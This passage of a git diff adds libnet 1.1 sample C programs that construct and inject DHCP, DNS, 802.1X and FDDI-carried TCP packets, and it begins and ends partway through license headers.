1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" +#ifdef __WIN32__ +#include "../include/win32/getopt.h" +#endif + +void +usage(char *prog) +{ + fprintf(stderr, "Usage: %s interface\n", prog); + exit(1); +} + + +int +main(int argc, char *argv[]) +{ + char *intf; + u_long src_ip, options_len, orig_len; + int i; + + libnet_t *l; + libnet_ptag_t t; + libnet_ptag_t ip; + libnet_ptag_t udp; + libnet_ptag_t dhcp; + struct libnet_ether_addr *ethaddr; + struct libnet_stats ls; + + char errbuf[LIBNET_ERRBUF_SIZE]; + + u_char options_req[] = { LIBNET_DHCP_SUBNETMASK, + LIBNET_DHCP_BROADCASTADDR, LIBNET_DHCP_TIMEOFFSET, + LIBNET_DHCP_ROUTER, LIBNET_DHCP_DOMAINNAME, + LIBNET_DHCP_DNS, LIBNET_DHCP_HOSTNAME }; + u_char *options; + u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; + u_char *tmp; + + if (argc != 2) + { + usage(argv[0]); + } + intf = argv[1]; + + l = libnet_init(LIBNET_LINK, intf, errbuf); + if (!l) + { + fprintf(stderr, "libnet_init: %s", errbuf); + exit(EXIT_FAILURE); + } + else + { + src_ip = libnet_get_ipaddr4(l);; + + if ((ethaddr = libnet_get_hwaddr(l)) == NULL) + { + fprintf(stderr, "libnet_get_hwaddr: %s\n", libnet_geterror(l)); + exit(EXIT_FAILURE); + } + + printf("ip addr : %s\n", libnet_addr2name4(src_ip, + LIBNET_DONT_RESOLVE)); + printf("eth addr : "); + for (i = 0; i < 6; i++) + { + printf("%2.2x", ethaddr->ether_addr_octet[i]); + if (i != 5) + { + printf(":"); + } + } + printf("\n"); + + + /* build options packet */ + i = 0; + /* update total payload size */ + options_len = 3; + + /* we are a discover packet */ + options = malloc(3); + options[i++] = LIBNET_DHCP_MESSAGETYPE; /* type */ + options[i++] = 1; /* len */ + options[i++] = LIBNET_DHCP_MSGDISCOVER; /* data */ + + orig_len = options_len; + /* update total payload size */ + options_len += sizeof(options_req) + 2; + + tmp = malloc(options_len); + memcpy(tmp, options, orig_len); + free(options); + options = tmp; + + /* we are going to request some parameters */ + options[i++] = LIBNET_DHCP_PARAMREQUEST; /* type */ + options[i++] = sizeof(options_req); /* len */ + memcpy(options + i, options_req, sizeof(options_req)); /* data */ + i += sizeof(options_req); + + /* if we have an ip already, let's request it. */ + if (src_ip) + { + orig_len = options_len; + options_len += 2 + sizeof(src_ip); + + tmp = malloc(options_len); + memcpy(tmp, options, orig_len); + free(options); + options = tmp; + + options[i++] = LIBNET_DHCP_DISCOVERADDR; /* type */ + options[i++] = sizeof(src_ip); /* len */ + memcpy(options + i, (char *)&src_ip, sizeof(src_ip)); /* data */ + i += sizeof(src_ip); + } + + /* end our options packet */ + orig_len = options_len; + options_len += 1; + tmp = malloc(options_len); + memcpy(tmp, options, orig_len); + free(options); + options = tmp; + options[i++] = LIBNET_DHCP_END; + + + /* make sure we are at least the minimum length, if not fill */ + /* this could go in libnet, but we will leave it in the app for now */ + if (options_len + LIBNET_DHCPV4_H < LIBNET_BOOTP_MIN_LEN) + { + orig_len = options_len; + options_len = LIBNET_BOOTP_MIN_LEN - LIBNET_DHCPV4_H; + + tmp = malloc(options_len); + memcpy(tmp, options, orig_len); + free(options); + options = tmp; + + memset(options + i, 0, options_len - i); + } + + dhcp = libnet_build_dhcpv4( + LIBNET_DHCP_REQUEST, /* opcode */ + 1, /* hardware type */ + 6, /* hardware address length */ + 0, /* hop count */ + 0xdeadbeef, /* transaction id */ + 0, /* seconds since bootstrap */ + 0x8000, /* flags */ + 0, /* client ip */ + 0, /* your ip */ + 0, /* server ip */ + 0, /* gateway ip */ + ethaddr->ether_addr_octet, /* client hardware addr */ + NULL, /* server host name */ + NULL, /* boot file */ + options, /* dhcp options in payload */ + options_len, /* length of options */ + l, /* libnet context */ + 0); /* libnet ptag */ + + udp = libnet_build_udp( + 68, /* source port */ + 67, /* destination port */ + LIBNET_UDP_H + LIBNET_DHCPV4_H + options_len, /* packet size */ + 0, /* checksum */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet context */ + 0); /* libnet ptag */ + + ip = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_DHCPV4_H + + options_len, /* length */ + 0x10, /* TOS */ + 0, /* IP ID */ + 0, /* IP Frag */ + 16, /* TTL */ + IPPROTO_UDP, /* protocol */ + 0, /* checksum */ + src_ip, /* src ip */ + inet_addr("255.255.255.255"), /* destination ip */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet context */ + 0); /* libnet ptag */ + + t = libnet_autobuild_ethernet( + enet_dst, /* ethernet destination */ + ETHERTYPE_IP, /* protocol type */ + l); /* libnet context */ + + if (libnet_write(l) == -1) + { + fprintf(stderr, " %s: libnet_write: %s\n", argv[0], + strerror(errno)); + exit(EXIT_FAILURE); + } + + libnet_stats(l, &ls); + fprintf(stderr, "Packets sent: %lld\n" + "Packet errors: %lld\n" + "Bytes written: %lld\n", + ls.packets_sent, ls.packet_errors, ls.bytes_written); + libnet_destroy(l); + + free(options); + + exit(0); + } + exit(0); +} diff --git a/libnet/sample/dns.c b/libnet/sample/dns.c new file mode 100644 index 0000000..1d49077 --- /dev/null +++ b/libnet/sample/dns.c @@ -0,0 +1,260 @@ +/* + * + * libnet 1.1 + * Build a DNSv4 packet + * To view: /usr/sbin/tcpdump -vvvvven -s 0 port 53 + * + * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" +#ifdef __WIN32__ +#include "../include/win32/getopt.h" +#endif + +void +usage(char *prog) +{ + fprintf(stderr, "Usage: %s -d dst_ip -q query_host [-s src_ip] [-t]\n", prog); + exit(1); +} + + +int +main(int argc, char *argv[]) +{ + char c; + u_long src_ip = 0, dst_ip = 0; + u_short type = LIBNET_UDP_DNSV4_H; + libnet_t *l; + + libnet_ptag_t ip; + libnet_ptag_t ptag4; /* TCP or UDP ptag */ + libnet_ptag_t dns; + + char errbuf[LIBNET_ERRBUF_SIZE]; + char *query = NULL; + char payload[1024]; + u_short payload_s; + + printf("libnet 1.1 packet shaping: DNSv4[raw]\n"); + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_RAW4, /* injection type */ + NULL, /* network interface */ + errbuf); /* error buffer */ + + if (!l) + { + fprintf(stderr, "libnet_init: %s", errbuf); + exit(EXIT_FAILURE); + } + + /* + * parse options + */ + while ((c = getopt(argc, argv, "d:s:q:t")) != EOF) + { + switch (c) + { + + case 'd': + if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 's': + if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 'q': + query = optarg; + break; + case 't': + type = LIBNET_TCP_DNSV4_H; + break; + default: + exit(EXIT_FAILURE); + } + } + + if (!src_ip) + { + src_ip = libnet_get_ipaddr4(l); + } + + if (!dst_ip || !query) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + /* + * build dns payload + */ + payload_s = snprintf(payload, sizeof payload, "%c%s%c%c%c%c%c", + (char)(strlen(query)&0xff), query, 0x00, 0x00, 0x01, 0x00, 0x01); + + /* + * build packet + */ + dns = libnet_build_dnsv4( + type, /* TCP or UDP */ + 0x7777, /* id */ + 0x0100, /* request */ + 1, /* num_q */ + 0, /* num_anws_rr */ + 0, /* num_auth_rr */ + 0, /* num_addi_rr */ + payload, + payload_s, + l, + 0 + ); + + if (dns == -1) + { + fprintf(stderr, "Can't build DNS packet: %s\n", libnet_geterror(l)); + goto bad; + } + + if (type == LIBNET_TCP_DNSV4_H) /* TCP DNS */ + { + ptag4 = libnet_build_tcp( + 0x6666, /* source port */ + 53, /* destination port */ + 0x01010101, /* sequence number */ + 0x02020202, /* acknowledgement num */ + TH_PUSH|TH_ACK, /* control flags */ + 32767, /* window size */ + 0, /* checksum */ + 0, /* urgent pointer */ + LIBNET_TCP_H + LIBNET_TCP_DNSV4_H + payload_s, /* TCP packet size */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + + if (ptag4 == -1) + { + fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l)); + goto bad; + } + + + ip = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_TCP_H + type + payload_s,/* length */ + 0, /* TOS */ + 242, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_TCP, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + + if (ip == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + exit(EXIT_FAILURE); + } + + } + else /* UDP DNS */ + { + ptag4 = libnet_build_udp( + 0x6666, /* source port */ + 53, /* destination port */ + LIBNET_UDP_H + LIBNET_UDP_DNSV4_H + payload_s, /* packet length */ + 0, /* checksum */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + + if (ptag4 == -1) + { + fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l)); + goto bad; + } + + + ip = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_UDP_H + type + payload_s,/* length */ + 0, /* TOS */ + 242, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_UDP, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + + if (ip == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + exit(EXIT_FAILURE); + } + } + + /* + * write to the wire + */ + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte DNS packet; check the wire.\n", c); + } + libnet_destroy(l); + return (EXIT_SUCCESS); + bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} diff --git a/libnet/sample/dot1x.c b/libnet/sample/dot1x.c new file mode 100644 index 0000000..92e8edd --- /dev/null +++ b/libnet/sample/dot1x.c @@ -0,0 +1,113 @@ +/* + * $Id: dot1x.c,v 1.2 2004/01/03 20:31:01 mike Exp $ + * + * libnet 1.1 + * Build a dot1x packet + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +int +main(int argc, char *argv[]) +{ + int c; + libnet_t *l; + libnet_ptag_t t; + u_char eap_dst[6] = {0x01, 0x80, 0xc2, 0x00, 0x00, 0x03}; + char *device = NULL; + char errbuf[LIBNET_ERRBUF_SIZE]; + /* Code Id Length(2) Type DesiredType */ + char payload[] = {0x01, 0x0a, 0x00, 0x7f, 0x03, 0x05}; + + printf("libnet 1.1 packet shaping: dot1x\n"); + + if (argc > 1) + { + device = argv[1]; + } + l = libnet_init( + LIBNET_LINK_ADV, /* injection type */ + device, /* network interface */ + errbuf); /* errbuf */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + t = libnet_build_802_1x( + 0, + LIBNET_802_1X_PACKET, + sizeof(payload), + payload, + sizeof(payload), + l, + 0); + if (t == -1) + { + fprintf(stderr, "Can't build dot1x header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_autobuild_ethernet( + eap_dst, /* ethernet destination */ + ETHERTYPE_EAP, /* protocol type */ + l); /* libnet handle */ + if (t == -1) + { + fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* + * Write it to the wire. + */ + c = libnet_write(l); + + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte dot1x packet from context \"%s\"; " + "check the wire.\n", c, libnet_cq_getlabel(l)); + } + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + +/* EOF */ diff --git a/libnet/sample/fddi_tcp1.c b/libnet/sample/fddi_tcp1.c new file mode 100644 index 0000000..e363333 --- /dev/null +++ b/libnet/sample/fddi_tcp1.c @@ -0,0 +1,213 @@ +/* + * libnet 1.1 + * Build a TCP packet to ride on FDDI + * + * Copyright (c) 1998 - 2001 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +int +main(int argc, char *argv[]) +{ + int c; + u_char *cp; + libnet_t *l; + libnet_ptag_t t; + char *payload; + u_short payload_s; + u_long src_ip, dst_ip; + u_short src_prt, dst_prt; + char errbuf[LIBNET_ERRBUF_SIZE]; + + printf("libnet 1.1 packet shaping: TCP (over FDDI) [link]\n"); + + /* + * Initialize the library. Root priviledges are required. + * + * Currently hardcoded for fddi0. + */ + l = libnet_init( + LIBNET_LINK, /* injection type */ + "fddi0", /* network interface */ + errbuf); /* error buffer */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + src_ip = 0; + dst_ip = 0; + src_prt = 0; + dst_prt = 0; + payload = NULL; + payload_s = 0; + while ((c = getopt(argc, argv, "d:s:p:")) != EOF) + { + switch (c) + { + /* + * We expect the input to be of the form `ip.ip.ip.ip.port`. We + * point cp to the last dot of the IP address/port string and + * then seperate them with a NULL byte. The optarg now points to + * just the IP address, and cp points to the port. + */ + case 'd': + if (!(cp = strrchr(optarg, '.'))) + { + usage(argv[0]); + } + *cp++ = 0; + dst_prt = (u_short)atoi(cp); + if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 's': + if (!(cp = strrchr(optarg, '.'))) + { + usage(argv[0]); + } + *cp++ = 0; + src_prt = (u_short)atoi(cp); + if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 'p': + payload = optarg; + payload_s = strlen(payload); + break; + default: + exit(EXIT_FAILURE); + } + } + + if (!src_ip || !src_prt || !dst_ip || !dst_prt) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + + t = libnet_build_tcp( + src_prt, /* source port */ + dst_prt, /* destination port */ + 0x01010101, /* sequence number */ + 0x02020202, /* acknowledgement num */ + TH_SYN, /* control flags */ + 32767, /* window size */ + 0, /* checksum */ + 0, /* urgent pointer */ + LIBNET_TCP_H + payload_s, /* TCP packet size */ + payload, /* payload */ + payload_s, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* length */ + 0, /* TOS */ + 242, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_TCP, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_fddi( + LIBNET_FDDI_FC_REQD | 0x04, /* Asynch LLC - priority 4 */ + fddi_dst, /* fddi destination */ + fddi_src, /* fddi source */ + LIBNET_SAP_SNAP, /* DSAP -> SNAP encap */ + LIBNET_SAP_SNAP, /* SSAP -> SNAP encap */ + 0x03, /* Unnumbered info/frame */ + org_code, /* Organization Code */ + FDDI_TYPE_IP, /* protocol type */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build fddi header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* + * Write it to the wire. + */ + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c); + } + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + +void +usage(char *name) +{ + fprintf(stderr, + "usage: %s -s source_ip.source_port -d destination_ip.destination_port" + " [-p payload]\n", + name); +} + +/* EOF */ diff --git a/libnet/sample/fddi_tcp2.c b/libnet/sample/fddi_tcp2.c new file mode 100644 index 0000000..1ed29c0 --- /dev/null +++ b/libnet/sample/fddi_tcp2.c @@ -0,0 +1,209 @@ +/* + * libnet 1.1 + * Build a TCP packet to ride on FDDI (autobuild) + * + * Copyright (c) 1998 - 2001 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +int +main(int argc, char *argv[]) +{ + int c; + u_char *cp; + libnet_t *l; + libnet_ptag_t t; + char *payload; + u_short payload_s; + u_long src_ip, dst_ip; + u_short src_prt, dst_prt; + char errbuf[LIBNET_ERRBUF_SIZE]; + + printf("libnet 1.1 packet shaping: TCP (over FDDI) [link]\n"); + + /* + * Initialize the library. Root priviledges are required. + * + * Currently hardcoded for fddi0. + */ + l = libnet_init( + LIBNET_LINK, /* injection type */ + "fddi0", /* network interface */ + errbuf); /* error buffer */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + src_ip = 0; + dst_ip = 0; + src_prt = 0; + dst_prt = 0; + payload = NULL; + payload_s = 0; + while ((c = getopt(argc, argv, "d:s:p:")) != EOF) + { + switch (c) + { + /* + * We expect the input to be of the form `ip.ip.ip.ip.port`. We + * point cp to the last dot of the IP address/port string and + * then seperate them with a NULL byte. The optarg now points to + * just the IP address, and cp points to the port. + */ + case 'd': + if (!(cp = strrchr(optarg, '.'))) + { + usage(argv[0]); + } + *cp++ = 0; + dst_prt = (u_short)atoi(cp); + if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 's': + if (!(cp = strrchr(optarg, '.'))) + { + usage(argv[0]); + } + *cp++ = 0; + src_prt = (u_short)atoi(cp); + if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 'p': + payload = optarg; + payload_s = strlen(payload); + break; + default: + exit(EXIT_FAILURE); + } + } + + if (!src_ip || !src_prt || !dst_ip || !dst_prt) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + + t = libnet_build_tcp( + src_prt, /* source port */ + dst_prt, /* destination port */ + 0x01010101, /* sequence number */ + 0x02020202, /* acknowledgement num */ + TH_SYN, /* control flags */ + 32767, /* window size */ + 0, /* checksum */ + 0, /* urgent pointer */ + LIBNET_TCP_H + payload_s, /* TCP packet size */ + payload, /* payload */ + payload_s, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* length */ + 0, /* TOS */ + 242, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_TCP, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_autobuild_fddi( + LIBNET_FDDI_FC_REQD | 0x04, /* Asynch LLC - priority 4 */ + fddi_dst, /* fddi destination */ + LIBNET_SAP_SNAP, /* DSAP -> SNAP encap */ + LIBNET_SAP_SNAP, /* SSAP -> SNAP encap */ + 0x03, /* Unnumbered info/frame */ + org_code, /* Organization Code */ + FDDI_TYPE_IP, /* protocol type */ + l); /* libnet handle */ + if (t == -1) + { + fprintf(stderr, "Can't build fddi header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* + * Write it to the wire. + */ + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c); + } + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + +void +usage(char *name) +{ + fprintf(stderr, + "usage: %s -s source_ip.source_port -d destination_ip.destination_port" + " [-p payload]\n", + name); +} + +/* EOF */ diff --git a/libnet/sample/get_addr.c b/libnet/sample/get_addr.c new file mode 100644 index 0000000..9832566 --- /dev/null +++ b/libnet/sample/get_addr.c @@ -0,0 +1,112 @@ +/* + * $Id: get_addr.c,v 1.4 2004/11/09 07:05:07 mike Exp $ + * + * libnet 1.1 + * get_addr.c - Retrieve the MAC and IP address of an interface + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY 